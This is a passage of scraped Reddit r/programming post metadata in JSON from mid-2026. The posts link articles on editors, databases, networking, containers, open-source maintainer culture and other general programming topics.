  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1unatjq",
  "url": "https://fazamhd.com/mental-models/software/",
  "permalink": "https://www.reddit.com/r/programming/comments/1unatjq/software_from_first_principles/",
  "title": "Software, from First Principles",
  "body": null,
  "author": "faza_",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 14,
  "createdAt": "2026-07-04T14:42:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fazamhd.com/mental-models/software/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1unat29",
  "url": "https://tkdodo.eu/blog/the-vertical-codebase",
  "permalink": "https://www.reddit.com/r/programming/comments/1unat29/the_vertical_codebase/",
  "title": "The Vertical Codebase",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.54,
  "numComments": 30,
  "createdAt": "2026-07-04T14:42:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tkdodo.eu/blog/the-vertical-codebase",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1un8c3n",
  "url": "https://sohang3112.github.io/zed-editor-review/",
  "permalink": "https://www.reddit.com/r/programming/comments/1un8c3n/zed_editor_review_after_using_it_for_a_couple_of/",
  "title": "Zed Editor Review (after using it for a couple of weeks)",
  "body": null,
  "author": "sohang-3112",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 26,
  "createdAt": "2026-07-04T12:52:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sohang3112.github.io/zed-editor-review/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1un3czl",
  "url": "https://leetarxiv.substack.com/p/division-polynomials-of-elliptic",
  "permalink": "https://www.reddit.com/r/programming/comments/1un3czl/division_polynomials_of_elliptic_curves_in_python/",
  "title": "Division Polynomials of Elliptic Curves in Python",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.66,
  "numComments": 1,
  "createdAt": "2026-07-04T08:09:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/division-polynomials-of-elliptic",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1umk39t",
  "url": "https://youtu.be/YKkEe-PxW10",
  "permalink": "https://www.reddit.com/r/programming/comments/1umk39t/keynote_linus_torvalds_in_conversation_with_dirk/",
  "title": "Keynote: Linus Torvalds in Conversation with Dirk Hohndel",
  "body": null,
  "author": "Infamous_Sorbet4021",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.77,
  "numComments": 2,
  "createdAt": "2026-07-03T17:06:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/YKkEe-PxW10",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1umib8a",
  "url": "https://crocidb.com/post/freebsd-ate-my-ram/",
  "permalink": "https://www.reddit.com/r/programming/comments/1umib8a/freebsd_ate_my_ram/",
  "title": "FreeBSD ate my RAM!",
  "body": null,
  "author": "CrociDB",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 1,
  "createdAt": "2026-07-03T15:59:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://crocidb.com/post/freebsd-ate-my-ram/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1umi3j4",
  "url": "https://ubuntu.com/blog/hunting-a-16-year-old-sqlite-bug-with-tla-is-dqlite-affected",
  "permalink": "https://www.reddit.com/r/programming/comments/1umi3j4/hunting_a_16yearold_sqlite_bug_with_tla_is_dqlite/",
  "title": "Hunting a 16-year-old SQLite bug with TLA+: is dqlite affected?",
  "body": null,
  "author": "yusufaytas",
  "subreddit": "programming",
  "score": 127,
  "upvoteRatio": 0.94,
  "numComments": 8,
  "createdAt": "2026-07-03T15:50:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ubuntu.com/blog/hunting-a-16-year-old-sqlite-bug-with-tla-is-dqlite-affected",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1umc8nm",
  "url": "https://noteflakes.com/articles/2026-07-02-extralite-3",
  "permalink": "https://www.reddit.com/r/programming/comments/1umc8nm/extralite_300_released/",
  "title": "Extralite 3.0.0 Released",
  "body": null,
  "author": "noteflakes",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 6,
  "createdAt": "2026-07-03T11:45:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://noteflakes.com/articles/2026-07-02-extralite-3",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1um4hyx",
  "url": "https://tech.stonecharioteer.com/posts/2026/traceroute/",
  "permalink": "https://www.reddit.com/r/programming/comments/1um4hyx/understanding_traceroute/",
  "title": "Understanding Traceroute",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.84,
  "numComments": 19,
  "createdAt": "2026-07-03T04:36:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tech.stonecharioteer.com/posts/2026/traceroute/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1um497y",
  "url": "https://github.com/apple/container",
  "permalink": "https://www.reddit.com/r/programming/comments/1um497y/linux_has_officially_won/",
  "title": "Linux has officially won",
  "body": "Actually it happened in June of 2025, but the process has completed recently, though. After Apple had announced the support of OCI-compatible containers in the June '25 it took a year to complete development and implement full support of continers. Apple had published 1.0 version of own container manager ([https://github.com/apple/container](https://github.com/apple/container)). And Microsoft had announced native support of containerization without Docker in Windows 11 ([https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/](https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/)). Now Linux is a part of any major platform: Windows, MacOS, BSD and Linux itself. Knowledge of Linux is now part of learning any of these systems, at least for developers. And now you can rely on Linux based containers running everywhere. What it is if not a win!?\n\nWhat's also interesting. Linux can run other Linux distros and with this Alpine Linux could become the most popular version of Linux in the World\n\nIt's the biggest win for the whole open-source software and I believe it should get into history books of technological progress",
  "author": "BankApprehensive7612",
  "subreddit": "programming",
  "score": 1775,
  "upvoteRatio": 0.86,
  "numComments": 399,
  "createdAt": "2026-07-03T04:23:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/apple/container",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ulnj89",
  "url": "https://rune.build/blog/the-rise-of-the-command-line",
  "permalink": "https://www.reddit.com/r/programming/comments/1ulnj89/the_rise_of_the_command_line_building_a_new_ide/",
  "title": "The Rise of the Command Line: building a new IDE (2017–2026). Rune Blog",
  "body": "This is a nine-year account of building Rune, a new IDE for Go (Python and Rust are next). It started when my Vim's go-to-definition broke in 2017 and I decided to build my own editor rather than adopt an IDE. Happy to answer questions.",
  "author": "ernestrc",
  "subreddit": "programming",
  "score": 81,
  "upvoteRatio": 0.82,
  "numComments": 32,
  "createdAt": "2026-07-02T16:45:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rune.build/blog/the-rise-of-the-command-line",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ulj6an",
  "url": "https://deepsystemstuff.com/the-internals-of-express-js-framework-and-lifecycle-of-express-api-request/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ulj6an/internals_of_expressjs_how_memory_is_allocated/",
  "title": "Internals of Express.js , how memory is allocated for Express API request and it's data internally",
  "body": "Memory allocation of Express API request and it's data \n\nWho is the actual web server in Express.js framework\n\nWhy Node js did not have network handling capabilities and how Node JS team implemented it \n\nAll are covered in the Article ",
  "author": "Ok_Stomach6651",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 15,
  "createdAt": "2026-07-02T14:02:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deepsystemstuff.com/the-internals-of-express-js-framework-and-lifecycle-of-express-api-request/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uleauv",
  "url": "https://blog.demofox.org/2026/07/01/what-to-learn-to-be-a-graphics-programmer/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uleauv/what_to_learn_to_be_a_real_time_graphics/",
  "title": "What To Learn To Be A Real Time Graphics Programmer",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 63,
  "upvoteRatio": 0.91,
  "numComments": 5,
  "createdAt": "2026-07-02T10:20:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.demofox.org/2026/07/01/what-to-learn-to-be-a-graphics-programmer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ulcgv1",
  "url": "https://www.youtube.com/watch?v=rX0ItVEVjHc",
  "permalink": "https://www.reddit.com/r/programming/comments/1ulcgv1/data_oriented_design_in_non_gamedev_related_areas/",
  "title": "Data Oriented Design in non gamedev related areas",
  "body": "I recently started doing some research about data oriented design and I find material mostly from gamedevs. I understand that it became popular by Mike Acton, but I think the principles could be applied to more than one domains. For example for statistics libraries and quant data analysis.\nDo you use this approach in non gamedev related areas. Could you please mention real world examples? TIA\n\nEDIT: \nThank you so much to all who replied. I got some very helpful information and interesting recommendations for further research.",
  "author": "codingbliss12",
  "subreddit": "programming",
  "score": 147,
  "upvoteRatio": 0.91,
  "numComments": 42,
  "createdAt": "2026-07-02T08:34:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=rX0ItVEVjHc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ulbz41",
  "url": "https://yusufaytas.com/good-apis-age-slowly",
  "permalink": "https://www.reddit.com/r/programming/comments/1ulbz41/good_apis_age_slowly/",
  "title": "Good APIs Age Slowly",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 109,
  "upvoteRatio": 0.88,
  "numComments": 13,
  "createdAt": "2026-07-02T08:04:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yusufaytas.com/good-apis-age-slowly",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ula04r",
  "url": "https://gaultier.github.io/blog/optimization-tales-cockroachdb-part2-slow-logout.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ula04r/optimization_tales_with_cockroachdb_the_slow/",
  "title": "Optimization tales with CockroachDB: the slow logout",
  "body": null,
  "author": "broken_broken_",
  "subreddit": "programming",
  "score": 23,
  "upvoteRatio": 0.85,
  "numComments": 2,
  "createdAt": "2026-07-02T06:10:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gaultier.github.io/blog/optimization-tales-cockroachdb-part2-slow-logout.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ul2xcj",
  "url": "https://www.reddit.com/r/java/comments/1ul2wiz/a_bug_i_ran_into_when_using_java_modules_plus/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ul2xcj/a_bug_i_ran_into_when_using_java_modules_plus/",
  "title": "A bug I ran into when using Java Modules (plus some thoughts about their adoption by the larger ecosystem)",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.71,
  "numComments": 1,
  "createdAt": "2026-07-02T00:24:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/java/comments/1ul2wiz/a_bug_i_ran_into_when_using_java_modules_plus/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukyf7x",
  "url": "https://dl.acm.org/doi/10.1145/3708533",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukyf7x/software_security_analysis_in_2030_and_beyond_a/",
  "title": "Software Security Analysis in 2030 and Beyond: A Research Roadmap",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-07-01T21:18:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dl.acm.org/doi/10.1145/3708533",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukvdtg",
  "url": "https://developer.nvidia.com/blog/designing-gpu-accelerated-query-engines-with-nvidia-gqe/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukvdtg/designing_gpuaccelerated_query_engines_with/",
  "title": "Designing GPU-Accelerated Query Engines with NVIDIA GPU Query Engine (GQE)",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-07-01T19:25:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://developer.nvidia.com/blog/designing-gpu-accelerated-query-engines-with-nvidia-gqe/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uksz0h",
  "url": "https://devz.cl/posts/solid-never-felt-solid/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uksz0h/solid_and_clean_code_never_felt_solid_or_clean_to/",
  "title": "SOLID and Clean Code never felt solid or clean to me",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 3,
  "createdAt": "2026-07-01T17:58:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devz.cl/posts/solid-never-felt-solid/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukr5cc",
  "url": "https://github.github.com/gh-stack/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukr5cc/github_stacked_prs/",
  "title": "GitHub Stacked PRs",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 336,
  "upvoteRatio": 0.95,
  "numComments": 99,
  "createdAt": "2026-07-01T16:51:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.github.com/gh-stack/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uknb2b",
  "url": "https://buttondown.com/hillelwayne/archive/stroustrups-rule/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uknb2b/stroustrups_rule/",
  "title": "Stroustrup's Rule",
  "body": null,
  "author": "Xaneris47",
  "subreddit": "programming",
  "score": 66,
  "upvoteRatio": 0.84,
  "numComments": 33,
  "createdAt": "2026-07-01T14:30:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://buttondown.com/hillelwayne/archive/stroustrups-rule/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukn5ex",
  "url": "https://leetarxiv.substack.com/p/triple-product-property-matrix-multiplication",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukn5ex/tpp_the_obscure_matrix_multiplication_algorithm/",
  "title": "TPP: The Obscure Matrix Multiplication Algorithm That Deserves More Attention",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 81,
  "upvoteRatio": 0.93,
  "numComments": 11,
  "createdAt": "2026-07-01T14:24:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/triple-product-property-matrix-multiplication",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukmbdh",
  "url": "https://centrifugal.dev/blog/2026/06/29/scaling-redis-pub-sub",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukmbdh/scaling_redis_pubsub_across_many_active_channels/",
  "title": "Scaling Redis Pub/Sub across many active channels and subscriber nodes",
  "body": null,
  "author": "FZambia",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 0,
  "createdAt": "2026-07-01T13:52:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://centrifugal.dev/blog/2026/06/29/scaling-redis-pub-sub",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukk7el",
  "url": "https://youtu.be/e0gwyyO3Gd8?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukk7el/are_your_tests_slowing_you_down_trisha_gee/",
  "title": "Are Your Tests Slowing You Down? • Trisha Gee",
  "body": "In this talk, Trisha identifies issues that slow down developers when writing, running and debugging tests, and look at tools that can help developers with each of these problems. There's live coding, analysis of social media poll results, an overview of solutions in this space, \"best practice\" recommendations, and machine learning will be mentioned at some point.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 1,
  "createdAt": "2026-07-01T12:24:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/e0gwyyO3Gd8?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukim8j",
  "url": "https://github.com/better-auth/better-auth/issues/10288",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukim8j/open_source_is_a_thankless_job_and_i_think_weve/",
  "title": "Open source is a thankless job and I think we've lost the plot on how we treat maintainers",
  "body": "I saw an issue today on a fairly popular project (better-auth, see the link to the issue attached). No repro, no context, just a wall of caps and profanity ending in \"fuck you\". The maintainers ship this for free. People run production businesses on top of it, for free. And the thanks is someone raging into a text box because a minor bump cost them an afternoon.\n\nI maintain and contribute to a few projects myself, so this hits a nerve a bit. Something people don't see from the outside: it's not enough to know how to build the thing. You also have to know how to defuse a thread where someone's insulting you and not fire back, even though most of us aren't paid for any of it, let alone the work of staying civil while being told to get fucked.\n\nI'm not pretending breaking changes don't cause real pain (that's what the issue is about). But I keep coming back to a boundary question: if you're not paying for it, do you actually get to demand anything? (Obviously yes, but we still need some boundaries)",
  "author": "swithek",
  "subreddit": "programming",
  "score": 1496,
  "upvoteRatio": 0.96,
  "numComments": 352,
  "createdAt": "2026-07-01T11:09:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/better-auth/better-auth/issues/10288",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukhk5n",
  "url": "https://encore.dev/blog/redis-runtime",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukhk5n/we_put_a_redis_server_inside_our_runtime/",
  "title": "We put a Redis server inside our runtime",
  "body": null,
  "author": "TheSwedeheart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 9,
  "createdAt": "2026-07-01T10:11:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://encore.dev/blog/redis-runtime",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukeup2",
  "url": "https://www.cs.uni.edu/~wallingf/blog/archives/monthly/2026-06.html#e2026-06-30T20_43_40.htm",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukeup2/teaching_algorithms_in_2026/",
  "title": "Teaching Algorithms in 2026",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 61,
  "upvoteRatio": 0.94,
  "numComments": 20,
  "createdAt": "2026-07-01T07:30:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cs.uni.edu/~wallingf/blog/archives/monthly/2026-06.html#e2026-06-30T20_43_40.htm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ukcx25",
  "url": "https://github.blog/engineering/architecture-optimization/the-uphill-climb-of-making-diff-lines-performant/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ukcx25/the_uphill_climb_of_making_diff_lines_performant/",
  "title": "The uphill climb of making diff lines performant",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 64,
  "upvoteRatio": 0.91,
  "numComments": 18,
  "createdAt": "2026-07-01T05:41:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/engineering/architecture-optimization/the-uphill-climb-of-making-diff-lines-performant/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uk7q0k",
  "url": "https://blog.gaborkoos.com/posts/2026-07-01-Beyond-Happy-Path-Engineering-the-Network/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uk7q0k/beyond_happy_path_engineering_the_network/",
  "title": "Beyond Happy Path Engineering: the Network",
  "body": "What happens when network calls stop behaving like clean request/response interactions.\n\nTimeouts, retries, duplicate side effects, idempotency, backoff, circuit breakers, load shedding, degraded states, observability, etc.",
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.89,
  "numComments": 2,
  "createdAt": "2026-07-01T01:23:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-07-01-Beyond-Happy-Path-Engineering-the-Network/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujy9by",
  "url": "https://www.youtube.com/watch?v=lsTHpbEN0dE",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujy9by/adding_fracture_physics_to_my_voxel_game_engine/",
  "title": "Adding fracture physics to my voxel game engine",
  "body": null,
  "author": "The-Douglas",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.81,
  "numComments": 0,
  "createdAt": "2026-06-30T19:02:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=lsTHpbEN0dE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujwhra",
  "url": "https://clickhouse.com/blog/silk",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujwhra/stackful_fibers_with_36ns_context_switch_silk/",
  "title": "Stackful fibers with 3.6ns context switch. Silk fibers.",
  "body": null,
  "author": "germandiago",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.27,
  "numComments": 0,
  "createdAt": "2026-06-30T17:58:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://clickhouse.com/blog/silk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujucw8",
  "url": "https://www.nature.com/articles/s41598-026-55550-5",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujucw8/morphologically_tunable_mycelium_chips_for/",
  "title": "Morphologically tunable mycelium chips for physical reservoir computing",
  "body": null,
  "author": "breck",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.81,
  "numComments": 4,
  "createdAt": "2026-06-30T16:41:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.nature.com/articles/s41598-026-55550-5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujs16i",
  "url": "https://github.com/rochus-keller/BUSY/blob/main/docs/The_BUSY_Build_System_Users_Guide.adoc#ninja-backend",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujs16i/how_to_use_ninja_with_the_busy_build_system/",
  "title": "How to use Ninja with the BUSY build system",
  "body": null,
  "author": "suhcoR",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.14,
  "numComments": 0,
  "createdAt": "2026-06-30T15:14:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/rochus-keller/BUSY/blob/main/docs/The_BUSY_Build_System_Users_Guide.adoc#ninja-backend",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujqqft",
  "url": "https://medium.com/proandroiddev/switching-a-million-lines-of-code-from-java-threads-to-kotlin-coroutines-by-rewriting-three-files-6ba428bf8566",
  "permalink": "https://www.reddit.com/r/programming/comments/1ujqqft/switching_a_million_lines_of_code_from_java/",
  "title": "Switching a million lines of code from Java threads to Kotlin coroutines, by rewriting three files",
  "body": "I wrote a technical deep dive about how we migrated one of Denmark's most used Android apps with one million lines of code powered by Java threads, into Kotlin coroutines just by rewriting three files in our internal threading library\n\nCheck it out if you are interested in how coroutines use threads, and interop between them :)",
  "author": "adrianblancode",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 0,
  "createdAt": "2026-06-30T14:26:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/proandroiddev/switching-a-million-lines-of-code-from-java-threads-to-kotlin-coroutines-by-rewriting-three-files-6ba428bf8566",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ujnuis",
  "url": "https://youtu.be/sMujMp4h_EY?list=PLEx5khR4g7PLjpaSO0XI-6euF483ORLyJ",
